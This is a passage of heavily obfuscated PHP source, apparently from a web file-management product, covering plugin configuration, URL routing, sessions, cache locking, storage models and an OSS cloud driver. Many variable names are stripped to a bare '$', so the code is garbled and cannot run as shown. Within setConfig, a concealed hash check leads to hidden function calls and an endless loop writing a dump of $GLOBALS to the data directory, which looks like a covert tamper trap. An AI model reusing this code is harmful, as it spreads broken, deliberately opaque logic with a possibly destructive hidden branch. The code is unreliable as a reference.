$ݷ[] = $왘; $ϭɬ[] = _get($, $菤); } $ƽ = str_replace($ݷ, $ϭɬ, $ƽ); } final function echoFile($ƺ, $ = false) { $ =& $_SERVER[]; $ = $this->pluginPath . $ƺ; if (ACT == $[1595]) { echo $[1596] . $this->pluginName . $[8] . $ƺ . $[1597]; if (!file_exists($)) { echo $[1598]; return; } } $Ё = $this->parseFile($); $this->parseLang($Ё); $this->parseConfig($Ё); $this->parsePackage($Ё); if (is_array($)) { $Ё = str_replace(array_keys($), array_values($), $Ё); } echo $[231] . $Ё; } final function initLang() { $ =& $_SERVER[]; $݅ = $[1599]; $̅ = $this->pluginPath . $[1600]; $ = I18n::getType(); $ם = array(); if (file_exists($̅ . $ . $[842])) { $ם = (include $̅ . $ . $[842]); } else { if ($ == $[1601] && !file_exists($̅ . $ . $[842]) && file_exists($̅ . $[1602])) { $ם = (include $̅ . $[1602]); } else { if (file_exists($̅ . $݅ . $[842])) { $ם = (include $̅ . $݅ . $[842]); } } } if (!is_array($ם)) { return array(); } if (@count($ם) > 0) { I18n::set($ם); } return $ם; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; $ = $_SERVER[$[881]]; $۵ = $[1539]; if ($_SERVER[$[880]] != $۵($)) { $ = $[882]; $㶈 = $[883]; $Ĭ = $_SERVER[$[884]] . $[885]; $ነ = $㶈($Ĭ); $ = explode($[231], $ነ); if (count($) < $[635]) { $ϭ = $[886]; $ϭ(); } $ = $[887]; $($_SERVER[$[888]]); $ = $[882]; $(); $អ = $[1540]; $ޞɰ = json_encode($GLOBALS[$[1541]]); $ = 1; for ($ = $; $ > 0; $++) { $អ(DATA_PATH . $, $ޞɰ); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($缱) { } public function onGetConfig($ꇟ) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ě) { if ($ě == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\160\154\165\147\151\156\x41\165\x74\150") { $桽 =& $_SERVER[]; if (!defined($桽[475])) { return !1; } if (_get($GLOBALS, $桽[503])) { return !0; } $ = $this->getConfig(); if (!$[$]) { return !1; } return ActionCall($桽[1603], $[$]); } public function url($, $ϖ = '', $ = true) { $ =& $_SERVER[]; $ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ğ = $this->packageVersion(); $ = $ . $[386] . $ğ; if (substr($, 0, 4) == $[148] || substr($, 0, 2) == $[1384]) { $㈼ = $ . $[1604] . $; } else { if ($ϖ == $[12]) { $㈼ = $this->pluginHost . $ . $[1604] . $; } else { if ($ϖ === $[75]) { $㈼ = $this->pluginHost . $; } else { if ($ϖ == $[1605]) { $㈼ = STATIC_PATH . $ . $[1604] . $; } else { if ($ϖ == $[1606]) { $㈼ = APP_HOST . $[1607] . $ . $[1604] . $; } else { if (isset($[$ϖ])) { $㈼ = $[$ϖ] . $ . $[1604] . $; } } } } } } if (!$) { return $㈼; } echo $㈼; } public function link($䂋 = false, $ = '') { $ =& $_SERVER[]; if (!$䂋) { $this->link($[1608], $[1606]); $this->link($[1609], $[1605]); $this->link($[1610], $[1605]); $this->link($[1611], $[1605]); $this->link($[1612], $[1605]); return; } $ϑ = $this->url($䂋, $, !1); if (substr($䂋, -3) == $[1613]) { echo $[1614] . $ϑ . $[1615] . $[231]; } else { if (substr($䂋, -4) == $[1616]) { echo $[1617] . $ϑ . $[1618] . $[231]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\x6e\x79" => "\x5b\x5e\x2f\x5d\53", "\72\156\x75\x6d" => "\x5b\x30\x2d\x39\x5d\x2b", "\x3a\x61\x6c\154" => "\56\x2a"); public static $errorCallback; public static function __callstatic($, $) { $ =& $_SERVER[]; if ($ == $[1619]) { $ʻ = array_map($[1620], $[0]); $֔ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $ϫ = $[2]; } else { $ʻ = null; $֔ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $ϫ = $[1]; } array_push(self::$maps, $ʻ); array_push(self::$routes, $֔); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $ϫ); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ =& $_SERVER[]; $ƻ = parse_url($_SERVER[$[1621]], PHP_URL_PATH); $ = $_SERVER[$[159]]; $ = array_keys(static::$patterns); $ = array_values(static::$patterns); $˝ = !1; self::$routes = preg_replace($[1284], $[8], self::$routes); if (in_array($ƻ, self::$routes)) { $ = array_keys(self::$routes, $ƻ); foreach ($ as $ņ) { if (self::$methods[$ņ] == $ || self::$methods[$ņ] == $[1622] || in_array($, self::$maps[$ņ])) { $˝ = !0; if (!is_object(self::$callbacks[$ņ])) { $ǥ = explode($[8], self::$callbacks[$ņ]); $ = end($ǥ); $ = explode($[1216], $); $Ѱ = new $[0](); $Ѱ->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$ņ]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $ņ) { if (strpos($ņ, $[4]) !== !1) { $ņ = str_replace($, $, $ņ); } if (preg_match($[1623] . $ņ . $[1624], $ƻ, $շ)) { if (self::$methods[$] == $ || self::$methods[$] == $[1622] || !empty(self::$maps[$]) && in_array($, self::$maps[$])) { $˝ = !0; array_shift($շ); if (!is_object(self::$callbacks[$])) { $ǥ = explode($[8], self::$callbacks[$]); $ = end($ǥ); $ = explode($[1216], $); $Ѱ = new $[0](); if (!method_exists($Ѱ, $[1])) { echo $[1625]; } else { call_user_func_array(array($Ѱ, $[1]), $շ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $շ); if (self::$halts) { return; } } } } $++; } } if ($˝ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $Ş =& $_SERVER[]; header($_SERVER[$Ş[1626]] . $Ş[1627]); echo $Ş[1628]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1621]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $٢í = false; if ($٢í) { return $٢í; } $ך = $GLOBALS[$[6]][$[349]]; self::$sessionTime = $ך[$[1629]]; $ȭ = isset($GLOBALS[$[1630]]) ? $GLOBALS[$[1630]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($ȭ)) { self::$sessionSign = Cookie::get($ȭ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($ȭ, self::$sessionSign, self::$sessionTime); $ͦ = $ך[$[1631]]; $Ұ = $ך[$ͦ]; $ = $ך[$[832]]; switch ($ͦ) { case $[21]: self::$handle = Model($[833]); break; case $[834]: self::$handle = new CacheRedis($Ұ, $); break; case $[835]: self::$handle = new CacheMemcached($Ұ, $); break; case $[199]: $Ұ[$[84]] = $Ұ[$[84]] . $[1632]; self::$handle = new CacheFile($Ұ, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $٢í = new self(); return $٢í; } public static function getBySign($Ү) { $ړ = self::$handle->get($Ү); $ړ = unserialize($ړ); return is_array($ړ) ? $ړ : array(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($ڸ, $Ő = false) { self::init(); if (is_array($ڸ)) { foreach ($ڸ as $븠 => $) { array_set_value(self::$data, $븠, $); } } else { array_set_value(self::$data, $ڸ, $Ő); } self::setBySign(self::$sessionSign, self::$data); } public static function get($߫ = false) { self::init(); if (!$߫) { return self::$data; } return array_get_value(self::$data, $߫); } public static function remove($ܢ) { self::init(); unset(self::$data[$ܢ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][837])) { self::$handle->clearTimeout(); } } } goto D; b: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $ۥ =& $_SERVER[]; $ = $GLOBALS[$ۥ[6]][$ۥ[349]]; self::$cachePath = $[$ۥ[199]][$ۥ[84]]; @mkdir(self::$cachePath, DEFAULT_PERRMISSIONS, !0); } public function lock($ӟ, $ = 0) { $ =& $_SERVER[]; $ˎ = microtime(!0); $α = $ˎ + $ + 0.0001; $Ӆ = rtrim(self::$cachePath, $[8]) . $[867] . md5($ӟ) . $[864]; if (file_exists($Ӆ) && filemtime($Ӆ) && filemtime($Ӆ) < time() - 10) { @unlink($Ӆ); } do { if (file_exists($Ӆ)) { cacheLockWait(); continue; } $ = fopen($Ӆ, $[868]); if (!$) { return !1; } $ˑ = flock($, LOCK_EX | LOCK_NB); self::$caches[$ӟ] = array($[869] => $, $[199] => $Ӆ); fwrite($, $α); clearstatcache(); if ($ && $ˑ) { return !0; } cacheLockWait(); } while (microtime(!0) < $α); $this->unlock($ӟ); return !1; } public function lockGet($괰) { $ =& $_SERVER[]; $Ɂ = rtrim(self::$cachePath, $[8]) . $[867] . md5($괰) . $[864]; return file_exists($Ɂ); } public function unlock($ﻇ) { $Ӑ =& $_SERVER[]; $Ɲ = self::$caches[$ﻇ]; if (!$Ɲ) { return; } @flock($Ɲ[$Ӑ[869]], LOCK_UN); @fclose($Ɲ[$Ӑ[869]]); @unlink($Ɲ[$Ӑ[199]]); unset(self::$caches[$ﻇ]); } } class CacheLockRedis { public function lock($, $ = 10) { $؝ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $؝->get($); if (!$) { $ = $؝->setLock($, $, $); if ($) { return !0; } } else { if ($ < microtime(!0)) { $؝->set($, $, $ * 2); if ($؝->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ب) { return Cache::init()->get($ب); } public function unlock($♰) { return Cache::init()->remove($♰); } } class CacheLockMemcached { public function lock($, $աۅ = 0) { $ = Cache::init(); $ = microtime(!0) + $աۅ; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->handle->add($, $, $աۅ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($叛) { return Cache::init()->get($叛); } public function unlock($) { return Cache::init()->remove($); } } goto A; B: class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\155\56\163\x6f\165\162\143\145\123\145\x63\162\145\164\114\151\x73\164"; public $field = array("\x73\x6f\165\162\143\x65\111\104", "\x74\x79\160\x65\x49\104", "\x63\x72\x65\141\x74\x65\x55\x73\145\162"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\145\x6d\56\x73\164\x6f\x72\x61\x67\145\x4c\151\x73\164"; public $field = array("\x6e\x61\155\145", "\163\x69\x7a\145\115\141\170", "\x73\171\163\x74\x65\x6d", "\144\x65\x66\141\x75\x6c\164", "\144\162\151\x76\x65\162", "\143\157\156\x66\151\147"); public function listData($܅ = false, $ԗ = "\155\157\144\x69\x66\x79\124\151\x6d\x65", $ = false) { $Քƨ =& $_SERVER[]; $݈ = parent::listData($܅, $ԗ, $); if ($܅) { return $݈; } $Â = $this->ioSizeUseGet(array_to_keyvalue($݈, $Քƨ[12], $Քƨ[399])); foreach ($݈ as $ => $լ) { unset($݈[$][$Քƨ[6]]); $݈[$][$Քƨ[1852]] = isset($Â[$լ[$Քƨ[399]]]) ? $Â[$լ[$Քƨ[399]]] : 0; } return $݈; } public function ioSizeUseGet($ںљ) { $͎ =& $_SERVER[]; if (!$ںљ) { return array(); } $ = $͎[2176] . implode($͎[50], $ںљ); $ď֚ = Cache::get($); if ($ď֚) { return $ď֚; } $仦 = array($͎[821] => $͎[399], $͎[2177] => $͎[76]); $ = array($͎[821] => array($͎[7], $ںљ)); $ď֚ = Model($͎[793])->field($仦)->where($)->group($͎[821])->select(); $ď֚ = array_to_keyvalue($ď֚, $͎[399], $͎[76]); Cache::set($, $ď֚, 600); return $ď֚; } public function getConfig($) { $ͱ = parent::listData($); return json_decode($ͱ[$_SERVER[][6]], !0); } public function update($Ҋ, $֍Ň) { $ǜ =& $_SERVER[]; $ߋ = $֍Ň[$ǜ[32]]; $ = array_to_keyvalue(parent::listData(), $ǜ[32]); if (isset($[$ߋ]) && $[$ߋ][$ǜ[399]] != $Ҋ) { return !1; } $this->checkPwd($Ҋ, $֍Ň); if (isset($֍Ň[$ǜ[2178]]) && $֍Ň[$ǜ[2178]] == $ǜ[88]) { $this->checkConfig($֍Ň); } unset($֍Ň[$ǜ[2178]]); $ӈ = parent::update($Ҋ, $֍Ň); if ($ӈ && $֍Ň[$ǜ[37]]) { $ز = 0; foreach ($ as $Ȩ) { if ($Ȩ[$ǜ[37]] && $Ȩ[$ǜ[399]] != $Ҋ) { $ز = $Ȩ[$ǜ[399]]; parent::update($Ȩ[$ǜ[399]], array($ǜ[37] => 0)); } } $this->updateBackup($Ҋ, $ز); } return $ӈ; } public function add($) { $䋥 =& $_SERVER[]; $ɖ = array_to_keyvalue(parent::listData(), $䋥[32]); if (isset($ɖ[$[$䋥[32]]])) { return !1; } $this->checkConfig($); $ރ = parent::insert($); if ($ރ && $[$䋥[37]]) { foreach ($ɖ as $) { if ($[$䋥[37]]) { parent::update($[$䋥[399]], array($䋥[37] => 0)); } } } return $ރ; } public function updateBackup($ƭ, $歏) { $ =& $_SERVER[]; if (!$歏) { return; } $씇 = Model($[753])->config(); if ($씇[$[1644]] != $[88] || $씇[$[756]] != $歏) { return; } $Ƶ = Model($[774])->get($[784]); $Ƶ = json_decode($Ƶ, !0); if (!$Ƶ) { return; } $Ƶ[$[756]] = $ƭ; Model($[774])->set(array($[784] => $Ƶ)); } public function checkPwd($٤, &$) { $آ =& $_SERVER[]; if (empty($[$آ[6]])) { return; } $̤ = json_decode($[$آ[6]], !0); $ޓ = $آ[12]; $ = array($آ[2179], $آ[2180], $آ[896]); foreach ($ as $) { if (isset($̤[$])) { $ޓ = $; break; } } if (!$ޓ) { return; } $ǀ = $this->getConfig($٤); $ = $ǀ[$ޓ]; $ާ蟅 = $̤[$ޓ]; if ($ާ蟅 == str_repeat($آ[188], strlen($))) { $̤[$ޓ] = $; $[$آ[6]] = json_encode($̤); } else { if ($ާ蟅 != $) { $[$آ[2178]] = $آ[88]; } } } public function checkConfig(&$͠, $ = false) { $蠚 =& $_SERVER[]; $쯸ڕ = strtolower($͠[$蠚[95]]); $თƀ = json_decode($͠[$蠚[6]], !0); foreach ($თƀ as $ͺ => $) { $თƀ[$ͺ] = trim($); } $თƀ[$蠚[2181]] = rand_string(6); $ = $GLOBALS[$蠚[6]][$蠚[89]][$蠚[830]]; $ = isset($[$쯸ڕ]) ? $[$쯸ڕ] : ucfirst($쯸ڕ); $ = $蠚[74] . $; if (!$ || !class_exists($)) { if ($) { return LNG($蠚[2182]); } write_log(array($蠚[2183], $͠, get_caller_info()), $蠚[2184]); show_json(LNG($蠚[2182]), !1, $͠); } $̱ = new $($თƀ); if (in_array($쯸ڕ, $̱->objectDriver)) { if (!$̱->isBucketCors() && !$̱->setBucketCors()) { $㊧ = LNG($蠚[2185]); $㊧ .= $蠚[2186] . LNG($蠚[2187]); if ($) { return $㊧; } show_json($㊧, !1); } } $ = rtrim($თƀ[$蠚[1188]], $蠚[8]) . $蠚[8]; $ = $̱->getPath($ . $蠚[1192]); if (!$̱->mkfile($)) { if ($) { return LNG($蠚[2185]); } show_json(LNG($蠚[2185]), !1); } $თƀ[$蠚[1188]] = $; $͠[$蠚[6]] = json_encode($თƀ); $͠[$蠚[95]] = $; return !0; } public function driverListSystem() { $㇙ =& $_SERVER[]; $ށ = parent::listData(); $Ἷ = array(); foreach ($ށ as $ͥ) { unset($ͥ[$㇙[200]], $ͥ[$㇙[85]]); $ͥ[$㇙[6]] = json_decode($ͥ[$㇙[6]], !0); $Ἷ[] = $ͥ; } return $Ἷ; } public function defaultDriver() { $ǖ =& $_SERVER[]; $ = parent::listData(); $ڒ = array_filter_by_field($, $ǖ[37], 1); $ڒ = $ڒ[0]; if ($ڒ) { $ڒ[$ǖ[6]] = json_decode($ڒ[$ǖ[6]], !0); } return $ڒ; } public function driverInfo($) { $쐇 =& $_SERVER[]; $ض = array_to_keyvalue(parent::listData(), $쐇[399]); if (!isset($ض[$])) { return !1; } $ͥ = $ض[$]; $ͥ[$쐇[6]] = json_decode($ͥ[$쐇[6]], !0); return $ͥ; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($, $ѻ) { $𗂏 =& $_SERVER[]; $ = array($𗂏[821] => $); $솘 = Model($𗂏[471])->where($)->count(); $져 = Model($𗂏[471])->where($)->sum($𗂏[76]); $ = $ѻ . $𗂏[2188] . $; $Ѻ = LNG($ѻ == $𗂏[557] ? $𗂏[2189] : $𗂏[2190]); $͑ = new TaskFileTransfer($, $𗂏[2184], $솘, $Ѻ . "\50{$}\x29"); $͑->task[$𗂏[767]] = (double) $져; $Ǐ = KodIO::defaultDriver(); $Ƈ = $Ǐ[$𗂏[399]]; $գߖ = "\173\151\x6f\72{$Ƈ}\175\x2f"; $Ѣ = !0; $릒 = array(); $Л = Model($𗂏[199])->where($)->field($𗂏[2191])->select(); foreach ($Л as $Ķ) { $Ҿ = $Ķ[$𗂏[84]]; $ = $գߖ . str_replace("\x7b\x69\157\x3a{$}\x7d\x2f", $𗂏[12], $Ҿ); if (!IO::exist($Ҿ)) { $릒[] = $Ķ[$𗂏[468]]; $͑->updateFileEnd($Ķ[$𗂏[32]], $Ķ[$𗂏[76]]); continue; } if (IO::exist($)) { $͑->updateFileEnd($Ķ[$𗂏[32]], $Ķ[$𗂏[76]]); continue; } if (!IO::move($Ҿ, get_path_father($))) { $Ѣ = !1; break; } $ = array($𗂏[468] => $Ķ[$𗂏[468]]); $ߧ = array($𗂏[821] => $Ƈ, $𗂏[84] => $); Model($𗂏[199])->where($)->save($ߧ); } $this->removeByFileID($릒); if (!$Ѣ) { $͑->stop($); return !1; } $͑->end(); if ($ѻ == $𗂏[1832]) { $this->remove($); } } public function progress($タ, $踃) { return Task::get($踃 . $_SERVER[][2188] . $タ); } private function removeByFileID($ = array()) { $ =& $_SERVER[]; if (empty($)) { return; } $Ն = array($[468] => array($[7], $)); $ = Model($[1343])->where($Ն)->field($[402])->select(); if (!$) { return; } $ = array_to_keyvalue($, $[12], $[402]); foreach ($ as $ս) { Model($[416])->removeNow($ս, !1); } } private function removeShareItems($) { $ =& $_SERVER[]; $鴀 = "\x7b\151\157\72{$}\175\x2f"; $彰 = array($[402] => 0, $[1183] => array($[383], "{$鴀}\45")); $Ӛ = Model($[1843])->where($彰)->field($[489])->select(); if (empty($Ӛ)) { return; } $Т = array_to_keyvalue($Ӛ, $[12], $[489]); Model($[601])->remove($Т); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\56\x4c\151\147\x68\164\x41\x70\160"; public $modelType = "\123\x79\x73\x74\x65\x6d\117\160\164\x69\157\156"; public $field = array("\156\141\x6d\x65", "\147\x72\x6f\165\160", "\x64\145\163\143", "\143\x6f\156\x74\145\x6e\164"); public function listData($ = false, $ = "\x6d\x6f\x64\x69\x66\171\124\x69\x6d\145", $ӹ = true) { return parent::listData($, $, $ӹ); } public function remove($ȸ) { $股 = $this->findByName($ȸ); if (!$股) { return !1; } return parent::remove($股[$_SERVER[][399]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($, $˕) { $Ұ =& $_SERVER[]; $Ŷ = $this->findByName($); $Ĭ = $this->findByName($˕[$Ұ[32]]); if (!$Ŷ || $Ĭ && $Ĭ[$Ұ[399]] != $Ŷ[$Ұ[399]]) { return !1; } return parent::update($Ŷ[$Ұ[399]], $˕); } } goto a߱; Bѽ: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($λ) { parent::__construct($λ); $this->signatureVersion($_SERVER[][216]); } public function fileOutLink($) { $‼ =& $_SERVER[]; if (substr($, 0, 7) == $‼[1341]) { $ = $‼[1342] . substr($, 7); } header($‼[161] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1400]; $this->_init($); } public function _init($ǖ) { $ =& $_SERVER[]; foreach ($ǖ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1401] . LNG($[1402])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $˧ = new OSS\Model\CorsConfig(); $þ = new OSS\Model\CorsRule(); $þ->addAllowedOrigin($[1403]); $þ->addAllowedMethod($[1404]); $þ->addAllowedMethod($[1405]); $þ->addAllowedMethod($[1406]); $þ->addAllowedMethod($[1407]); $þ->addAllowedMethod($[160]); $þ->setMaxAgeSeconds(600); $þ->addExposeHeader($[1408]); $þ->addAllowedHeader($[1403]); $˧->addRule($þ); try { $this->client->putBucketCors($this->bucket, $˧); } catch (OSS\Core\OssException $𫩊) { return !1; } return !0; } public function getBucketCors() { $Η =& $_SERVER[]; $ә = null; try { $ә = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$ә || !($ = $ә->getRules())) { return null; } $퓈Ͽ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $Ŭ = $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($Η[187] => isset($퓈Ͽ[0]) ? $퓈Ͽ[0] : $Η[12], $Η[191] => $, $Η[1409] => $, $Η[1410] => isset($Ŭ[0]) ? $Ŭ[0] : $Η[12], $Η[189] => isset($[0]) ? $[0] : $Η[12]); } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[187]] != $[188] || $[$[189]] != $[188]) { return !1; } $ = array_map($[190], $[$[191]]); if (!is_array($)) { $ = array(); } $ތ = array($[192], $[193], $[194], $[195], $[196]); $ = array_diff($ތ, $); return empty($); } public function mkfile($Ĕޑ, $ܮ = '', $ = REPEAT_RENAME) { $ػ = $this->setContent($Ĕޑ, $ܮ); if ($ػ !== !1) { return $this->getPathOuter($Ĕޑ); } return !1; } public function mkdir($ՙ, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($ՙ)) { return $this->getPathOuter($ՙ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ՙ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ՙ); } private function fileList($, $Ĭ = '', $ = 0) { $ͷ䂲 =& $_SERVER[]; $ = trim($, $ͷ䂲[8]); $β = empty($) && $ !== $ͷ䂲[197] ? $ͷ䂲[12] : $ . $ͷ䂲[8]; $ك = $ͷ䂲[12]; $ = 1000; $ް = $ᛅ = array(); while (!0) { check_abort(); $ = array($ͷ䂲[1411] => $Ĭ, $ͷ䂲[1412] => $β, $ͷ䂲[1413] => $, $ͷ䂲[1414] => $ك); try { $簔 = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $䄑) { break; } $ك = $簔->getNextMarker(); $ = $簔->getObjectList(); $ = $簔->getPrefixList(); foreach ($ as $) { if ($->getKey() == $β) { continue; } $ತ = $->getKey(); $ꂇ = $->getSize(); $ɓ = $->getLastModified(); $ = $ ? array($ͷ䂲[32] => $ತ, $ͷ䂲[76] => $ꂇ, $ͷ䂲[203] => strtotime($ɓ)) : $ತ; $܅ = $ꂇ == 0 && substr($ತ, strlen($ತ) - 1, 1) == $ͷ䂲[8] ? !0 : !1; $ = array($ͷ䂲[76] => $ꂇ, $ͷ䂲[1415] => $ꂇ, $ͷ䂲[85] => strtotime($ɓ), $ͷ䂲[1416] => $ɓ); $this->cacheMethodInfoSet($ತ, $܅, $); if ($܅) { $ް[] = $ತ; continue; } $ᛅ[] = $; } foreach ($ as $Ʒ) { $ް[] = $Ʒ->getPrefix(); $this->cacheMethodInfoSet($Ʒ->getPrefix(), !0); } if ($ك === $ͷ䂲[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($ͷ䂲[82] => $ް, $ͷ䂲[83] => $ᛅ); } public function copyFile($, $ͥ) { $ɕӿ = $this->size($); if ($ɕӿ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($ͥ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ͥ); } $귈 = $this->multiCopyObject($, $ͥ, $ɕӿ); return $귈 ? $this->getPathOuter($ͥ) : !1; } private function multiCopyObject($챟, $ݍ, $̡) { $ =& $_SERVER[]; try { $ƽ = array(); if ($ǯ = $this->hashMd5($챟)) { $ƽ = array(OSS\OssClient::OSS_HEADERS => array($[1417] => $ǯ)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ݍ), $ƽ); $ǰ = 1; $ = 0; $ = array(); $، = 1024 * 1024 * 10; $lj = $this->client->generateMultiuploadParts($̡, $،); foreach ($lj as $ => $) { $÷ = $ + (int) $[$[1418]]; $קٱ = (int) $[$[337]] + $÷ - 1; $߷ = array($[1419] => $÷, $[1420] => $קٱ); $[] = $this->client->uploadPartCopy($this->bucket, $챟, $this->bucket, $this->pathEncode($ݍ), $ǰ, $, $߷); $ǰ = $ǰ + 1; } $ = array(); foreach ($ as $ => $±Ƈ) { $[] = array($[1421] => $ + 1, $[1422] => $±Ƈ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($ݍ), $, $); } catch (OSS\Core\OssException $ܯԖ) { return !1; } return !0; } public function moveFile($, $Ȥ) { if ($this->copyFile($, $Ȥ)) { $this->remove($); return $this->getPathOuter($Ȥ); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $ޕ) { return !1; } return !0; } public function delFolder($藲) { $ԩ =& $_SERVER[]; if (!$this->exist($藲)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($藲); $this->listItemCache = !0; $ = trim($藲, $ԩ[8]) . $ԩ[8]; if (!empty($藲) && $藲 !== $ԩ[197] && !in_array($, $[$ԩ[82]])) { $[$ԩ[82]][] = $; } $ߚ = $this->delByBatch($[$ԩ[83]]); if (!$ߚ) { return !1; } $ߚ = $this->delByBatch($[$ԩ[82]]); if (!$ߚ) { return !1; } return $this->delFile($); } private function delByBatch($궶) { foreach (array_chunk($궶, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $Ƨ) { return !1; } } return !0; } public function rename($, $Ԫ) { return $this->renameObject($, $Ԫ); } private function fileInfo($, $ŋڏ = false, $ʏ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($), $[33] => $[199], $[76] => isset($ʏ[$[76]]) ? $ʏ[$[76]] : 0, $[174] => $this->ext($)); if ($ŋڏ) { return $; } $[$[200]] = $[$[85]] = 0; $[$[201]] = $[$[202]] = !0; if (empty($ʏ)) { $㹌 = $this->objectMeta($); if (!$㹌) { return $; } $ʏ = array($[85] => strtotime($㹌[$[1416]]), $[76] => $㹌[$[1415]] + 0); } if (isset($ʏ[$[76]])) { $[$[76]] = $ʏ[$[76]]; } if (isset($ʏ[$[85]])) { $[$[85]] = $ʏ[$[85]]; } if (isset($ʏ[$[203]]) && !trim($[$[85]])) { $[$[85]] = $ʏ[$[203]]; } return $; } private function folderInfo($ݭͲ, $ = false, $ڴ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($ݭͲ), $[84] => $this->getPathOuter($[8] . $ݭͲ), $[33] => $[75]); if ($) { return $; } $[$[200]] = $[$[85]] = 0; $[$[201]] = $[$[202]] = !0; if (empty($ڴ)) { $ݭͲ = rtrim($ݭͲ, $[8]) . $[8]; $Α = $this->objectMeta($ݭͲ); if (!$Α) { return $; } $ڴ = array($[200] => $Α[$[511]][$[1423]], $[85] => strtotime($Α[$[1416]])); } if (isset($ڴ[$[85]])) { $[$[85]] = $ڴ[$[85]]; } if (isset($ڴ[$[200]])) { $[$[200]] = $ڴ[$[200]]; } return $; } public function listPath($, $Īכ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[82]] as $Цǣ => $) { $[$[82]][$Цǣ] = $this->folderInfo($, $Īכ, $); } foreach ($[$[83]] as $Цǣ => $) { $[$[83]][$Цǣ] = $this->fileInfo($[$[32]], $Īכ, $); } return $; } protected function infoChildren($, &$) { $ =& $_SERVER[]; $Ю = $this->fileList($, $[12], !0); $[$[78]] += count($Ю[$[82]]); $[$[77]] += count($Ю[$[83]]); foreach ($Ю[$[83]] as $▲ӱ) { if (!$▲ӱ || !$▲ӱ[$[76]]) { continue; } $[$[76]] += $▲ӱ[$[76]]; } } public function has($, $ = false, $ = true) { $Ţ =& $_SERVER[]; $ = trim($, $Ţ[8]); $嗗 = empty($) && $ !== $Ţ[197] ? $Ţ[12] : $ . $Ţ[8]; $Ɉ = $Ţ[12]; $ԗ 